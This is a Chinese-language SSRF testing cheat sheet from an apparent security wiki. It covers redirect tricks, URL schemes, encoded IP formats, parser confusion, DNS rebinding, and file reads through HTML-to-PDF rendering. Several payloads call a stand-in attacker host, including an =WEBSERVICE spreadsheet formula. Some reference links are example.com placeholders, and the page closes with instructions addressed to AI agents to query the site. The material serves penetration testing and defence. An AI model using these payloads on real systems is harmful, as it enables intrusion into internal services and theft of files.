# 服务器端请求伪造

服务器端请求伪造（或 SSRF）是一种 Web 安全漏洞，允许攻击者诱使服务器端应用程序向攻击者选择的任意域发起 HTTP 请求。

在典型的 SSRF 示例中，攻击者可能诱使服务器连接回自身，或连接到组织基础设施内的其他基于 Web 的服务，或连接到外部的第三方系统。

## 绕过过滤器

应用程序通常会阻止包含非白名单主机名、敏感 URL 或 IP 地址（如环回地址、IPv4 链路本地地址、[私有地址](https://tools.ietf.org/html/rfc1918) 等）的输入。在这种情况下，有时可以使用各种技术绕过过滤器。

### 重定向

您可以尝试使用重定向到所需的 URL 来绕过过滤器。为此，向来自易受攻击服务器的请求返回一个带有 `3xx` 代码和 `Location` 头部中所需 URL 的响应，例如：

```http
HTTP/1.1 301 Moved Permanently
Server: nginx
Connection: close
Content-Length: 0
Location: http://127.0.0.1
```

您可以通过以下方式实现重定向：

* bash，如 `nc -lvp 80 < response.txt`
* URL 缩短服务
* Mock 和 webhook 服务，参见[此处](https://gitbook.cdxiaodong.life/web-ying-yong-an-quan/pages/VdtmfbvCNnjW1CxGVZY9#mocks-&-webhooks)
* 更灵活的解决方案，如在 python 上的简单 HTTP 服务器

此外，如果应用程序包含开放重定向漏洞，您可以使用它来绕过 URL 过滤器，例如：

```http
POST /api/v1/webhook HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 101

url=https://vulnerable-website.com/api/v1/project/next?currentProjectId=1929851&path=http://127.0.0.1
```

这些绕过方法有效，因为应用程序只验证提供的 URL，该 URL 触发重定向。它遵循重定向并向攻击者选择的内部 URL 发出请求。

### URL 方案

您可以尝试使用不同的 URL 方案：

```bash
file://path/to/file
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
dict://127.0.0.1:1337/stats
ftp://127.0.0.1/
sftp://attacker-website.com:1337/
tftp://attacker-website.com:1337/TESTUDPPACKET
ldap://127.0.0.1:389/%0astats%0aquit
ldaps://127.0.0.1:389/%0astats%0aquit
ldapi://127.0.0.1:389/%0astats%0aquit
gopher://attacker-website.com/_SSRF%0ATest!
```

#### Node.js

Windows 版本的 Node.js 将 URL 方案中的任何单个字母视为 `drive://filepath` 并将协议设置为 `file://`。

```javascript
// Node.js（仅限 Windows）
// 以下行将返回 `file:`
new URL('l://file').protocol
```

参考：

* [@PwnFunction 推文](https://twitter.com/PwnFunction/status/1484510976183443464)

#### Java

Java 的 URL 将正确处理以下 URL：

```bash
url:file:///etc/passwd
url:http://127.0.0.1:8080
```

参考：

* `@phithon_xg` 推文 [1](https://twitter.com/phithon_xg/status/1499414715033735169) 和 [2](https://twitter.com/phithon_xg/status/1498153253350961152)

### IP 地址格式

您可以尝试使用不同的 IP 地址格式来绕过过滤器。

#### 罕见 IP 地址

[RFC 3986](https://tools.ietf.org/html/rfc3986#section-7.4) 中定义的罕见 IP 地址格式：

* 点分十六进制 IP：`0x7f.0x0.0x0.0x1`
* 无点十六进制 IP：`0x7f001`
* 带填充的无点十六进制 IP：`0x0a0b0c0d7f000001`（填充是 `0a0b0c0d`）
* 无点十进制 IP：`2130706433`
* 带溢出的点分十进制 IP（256）：`383.256.256.257`
* 点分八进制 IP：`0177.0.0.01`
* 无点八进制 IP：`017700000001`
* 带填充的点分八进制 IP：`00177.000.0000.000001`
* 组合：

  ```http
  0x7f.0.1
  0x7f.1
  00177.1
  00177.0x0.1
  ```

您可以通过删除零来简写 IP 地址：

```http
1 部分  (ping A)       : 0.0.0.A
2 部分 (ping A.B)     : A.0.0.B
3 部分 (ping A.B.C)   : A.B.0.C
4 部分 (ping A.B.C.D) : A.B.C.D

0       => 0.0.0.0
127.1   => 127.0.0.1
127.0.1 => 127.0.0.1
```

#### IPv6 地址

* IPv6 本地地址：

  ```http
  [::]
  0000::1
  [::1]
  0:0:0:0:0:0:0:0
  ```
* IPv4 映射的 IPv6 地址：`[::ffff:7f00:1]`
* IPv4 映射的 IPv6 地址：`[::ffff:127.0.0.1]`
* IPv4 兼容的 IPv6 地址（已弃用，参见 [RFC4291](https://tools.ietf.org/html/rfc4291#section-2.5.5.1)：`[::127.0.0.1]`
* 带有[区域标识符](https://tools.ietf.org/html/rfc6874)的 IPv4 映射的 IPv6 地址：`[::ffff:7f00:1%25]`
* 带有[区域标识符](https://tools.ietf.org/html/rfc6874)的 IPv4 映射的 IPv6 地址：`[::ffff:127.0.0.1%eth0]`

#### 滥用封闭字母数字

封闭字母数字是一个 Unicode 块，包含圆圈内、方括号内或其他不封闭的封闭内或以句点结尾的字母数字排版符号，参见[列表](https://jrgraphix.net/r/Unicode/2460-24FF)。

```http
127。0。0。1
127｡0｡0｡1
127．0．0．1
⑫７｡⓪．𝟢。𝟷
𝟘𝖃𝟕𝒇｡𝟘𝔵𝟢｡𝟢𝙭⓪｡𝟘𝙓¹
⁰𝔁𝟳𝙛𝟢０１
２𝟏𝟑𝟢𝟕𝟢６𝟺𝟛𝟑
𝟥𝟪³。𝟚⁵𝟞。²₅𝟞。²𝟧𝟟
𝟢₁𝟳₇｡０｡０｡𝟢𝟷
𝟎𝟢𝟙⑦⁷。０００。𝟶𝟬𝟢𝟘。𝟎₀𝟎𝟢０𝟣
[::𝟏②₇．𝟘．₀．𝟷]
[::𝟭２𝟟｡⓪｡₀｡𝟣%𝟸𝟭⑤]
[::𝚏𝕱ᶠ𝕗:𝟏₂７｡₀｡𝟢｡①]
[::𝒇ℱ𝔣𝐹:𝟣𝟤７。₀。０。₁%②¹𝟧]
𝟎𝚇𝟕𝖋｡⓪｡𝟣
𝟎ˣ𝟩𝘍｡𝟷
𝟘𝟘①𝟐⑦．１
⓪𝟘𝟙𝟳𝟽｡𝟎𝓧₀｡𝟏
```

### 滥用 Ruby 原生解析器的错误

`Resolv::getaddresses` 依赖于操作系统，因此通过尝试不同的 IP 格式，可以返回空值。

概念验证：

```ruby
irb(main):001:0> require 'resolv'
=> true
irb(main):002:0> uri = "0x7f.1"
=> "0x7f.1"
irb(main):003:0> server_ips = Resolv.getaddresses(uri)
=> [] # 错误！
irb(main):004:0> blocked_ips = ["127.0.0.1", "::1", "0.0.0.0"]
=> ["127.0.0.1", "::1", "0.0.0.0"]
irb(main):005:0> (blocked_ips & server_ips).any?
=> false # 绕过
```

参考：

* [通过滥用 Ruby 原生解析器的错误绕过服务器端请求伪造过滤器](https://edoverflow.com/2017/ruby-resolv-bug/)
* [报告：通过滥用 Ruby 原生解析器的错误在"集成"中进行盲 SSRF](https://hackerone.com/reports/287245)
* [报告：通过项目导入在 gitlab.com 中的 SSRF 漏洞](https://hackerone.com/reports/215105)

### 损坏的解析器

[URL 规范](https://tools.ietf.org/html/rfc3986) 包含许多在实现临时 URL 解析和验证时容易被忽略的功能：

* 在主机名之前使用 `@` 字符在 URL 中嵌入凭据：`https://expected-host@evil-host`
* 使用 `#` 字符表示 URL 片段：`https://evil-host#expected-host`
* DNS 命名层次结构：`https://expected-host.evil-host`
* URL 编码字符。这有助于混淆 URL 解析代码。如果实现过滤器的代码处理 URL 编码字符的方式与执行后端 HTTP 请求的代码不同，这特别有用。
* 这些技术的组合：

  ```http
  foo@evil-host:80@expected-host
  foo@evil-host%20@expected-host
  evil-host%09expected-host
  127.1.1.1:80\@127.2.2.2:80
  127.1.1.1:80:\@@127.2.2.2:80
  127.1.1.1:80#\@127.2.2.2:80
  ß.evil-host
  ```

参考：

* [技术分析：https://cxl-services.appspot.com 中的 URL 白名单绕过](https://feed.bugs.xdavidhu.me/bugs/0008)
* [技术分析：修复不可修复的：Google Cloud SSRF 的故事](https://bugs.xdavidhu.me/google/2021/12/31/fixing-the-unfixable-story-of-a-google-cloud-ssrf/)
* [SSRF 的新时代 - 在流行编程语言中利用 URL 解析器！](https://example.com/ssrf-url-parser.pdf)
* [工具：Tiny URL Fuzzer](https://github.com/orangetw/Tiny-URL-Fuzzer)

### DNS 固定

如果您想要获取解析为 IP 的 A 记录，请使用以下子域：

```http
make-<IP>-rr.1u.ms 
```

例如，域名 `make-127-0-0-1-rr.1u.ms` 解析为 `127.0.0.1`：

```bash
$ dig A make-127-0-0-1-rr.1u.ms
make-127-0-0-1-rr.1u.ms. 0	IN	A	127.0.0.1
```

多个记录可以用 `-and-` 分隔：

```http
make-<IP>-and-<IP>-rr.1u.ms
```

例如，域名 `make-127-0-0-1-and-127-127-127-127-rr.1u.ms` 解析为 `127.0.0.1` 和 `127.127.127.127`：

```bash
$ dig A make-127-0-0-1-and-127-127-127-127-rr.1u.ms
make-127-0-0-1-and-127-127-127-127-rr.1u.ms. 0 IN A 127.0.0.1
make-127-0-0-1-and-127-127-127-127-rr.1u.ms. 0 IN A 127.127.127.127
```

{% embed url="<https://github.com/neex/1u.ms>" %}

另外，检查 `sslip.io`：

{% embed url="<https://sslip.io/>" %}

### DNS 重新绑定

如果易受攻击应用程序中的检查和建立连接的机制是独立的，并且没有 DNS 解析响应的缓存，您可以通过操纵 DNS 解析响应来绕过此限制。

例如，如果两个请求在 5 秒内一个接一个地发生，DNS 解析 `make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms` 将通过第一个请求返回地址 `1.1.1.1`，第二个返回 `127.0.0.1`。

```bash
$ dig A make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms
make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms. 0 IN A 1.1.1.1

$ dig A make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms
make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms. 0 IN A 127.0.0.1
```

{% embed url="<https://github.com/neex/1u.ms>" %}

另外，检查 `lock.cmpxchg8b.com`：

{% embed url="<https://lock.cmpxchg8b.com/rebinder.html>" %}

## Adobe ColdFusion

{% embed url="<https://hoyahaxa.blogspot.com/2021/04/ssrf-in-coldfusioncfml-tags-and.html>" %}

## FFmpeg

* [利用视频转换器中的 SSRF 的病毒视频](https://example.com/viral-video-ssrf.pdf)
* [对视频转换器的攻击：一年后](https://example.com/ffmpeg-attacks.pdf)
* [报告：通过 FFmpeg HLS 处理在 https://wordpress.com/media/videos/ 中的 SSRF 和本地文件泄露](https://hackerone.com/reports/237381)
* [报告：由于 ffmpeg 对某些文件格式的不当处理导致的 SSRF / 本地文件枚举 / DoS](https://hackerone.com/reports/115978)
* [工具：ffmpeg-avi-m3u-xbin](https://github.com/neex/ffmpeg-avi-m3u-xbin)

## SVG

## 任意 HTML 和 JS 的服务器端处理

在生成各种文档（例如 PDF）时，经常会发现用户提供的任意 HTML 和 JS 数据的服务器端处理。如果此功能易受 HTML 注入和/或 XSS 攻击，您可以使用它来访问内部资源：

```html
<iframe src="file:///etc/passwd" width="400" height="400">
<img src onerror="document.write('<iframe src=//127.0.0.1></iframe>')">
```

使用 HTTPLeaks 来确定是否有任何允许的 HTML 标签可用于滥用处理。

{% embed url="<https://github.com/cure53/HTTPLeaks>" %}

参考：

* [技术分析：通过动态生成的 PDF 中的 XSS 进行本地文件读取](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
* [技术分析：通过 HTML 导入利用 HTML 到 PDF 转换器](https://mhmdiaa.com/blog/exploiting-html-imports/)
* [报告：dashboard.lob.com 上的盲 SSRF/XSPA + 盲代码注入](https://hackerone.com/reports/517461)
* [报告：在"装箱单模板"中绕过 HTML 过滤器导致对内部 Kubernetes 端点的 SSRF](https://hackerone.com/reports/1115139)

## 电子表格导出

如果应用程序在 Windows 服务器上运行并导出到电子表格，请尝试使用 [WEBSERVICE](https://support.microsoft.com/en-us/office/webservice-function-0546a35a-ecc6-4739-aed7-c0b7ce1562c4) 函数来获得 SSRF：

```
=WEBSERVICE('https://attacker.com')
```

参考：

* [@intigriti 推文](https://twitter.com/intigriti/status/1500088756132589570)

## 请求分割

{% embed url="<https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/>" %}

## HTTP 头部

许多应用程序在其流程中使用直接从用户在不同 HTTP 头部（如 `X-Forwarded-For` 或 `Client-IP` 头部）接收的 IP 地址/域名。如果头部的值没有得到适当验证，这种应用程序功能可能导致盲 SSRF 漏洞。

这就是 [param-miner](https://github.com/PortSwigger/param-miner) 对于搜索 HTTP 头部很有用的地方。

### Referer 头部

还要注意 `Referer` 头部，它被服务器端分析软件用于跟踪访问者。此类软件通常会记录来自请求的 `Referer` 头部，因为这允许跟踪传入链接。

分析软件实际上会访问出现在 `Referer` 头部中的任何第三方 URL。这通常是为了分析引用站点的内容，包括传入链接中使用的锚文本。结果，`Referer` 头部通常代表 SSRF 漏洞的富有成效的攻击面。

## 参考

* [Web Security Academy：服务器端请求伪造（SSRF）](https://portswigger.net/web-security/ssrf)
* [盲 SSRF 利用](https://lab.wallarm.com/blind-ssrf-exploitation/)
* [PayloadsAllTheThings：服务器端请求伪造](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
* [报告：首次运行后的 CI 中的 SSRF](https://hackerone.com/reports/369451)
* [报告：GitLab::UrlBlocker 验证绕过导致完整的服务器端请求伪造](https://hackerone.com/reports/541169)
* [报告：Gitlab DNS 重新绑定保护绕过](https://hackerone.com/reports/632101)
* [技术分析：我如何在 GitHub Enterprise 上链接 4 个漏洞，从 SSRF 执行链到 RCE！](http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gitbook.cdxiaodong.life/web-ying-yong-an-quan/server-side-request-forgery.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
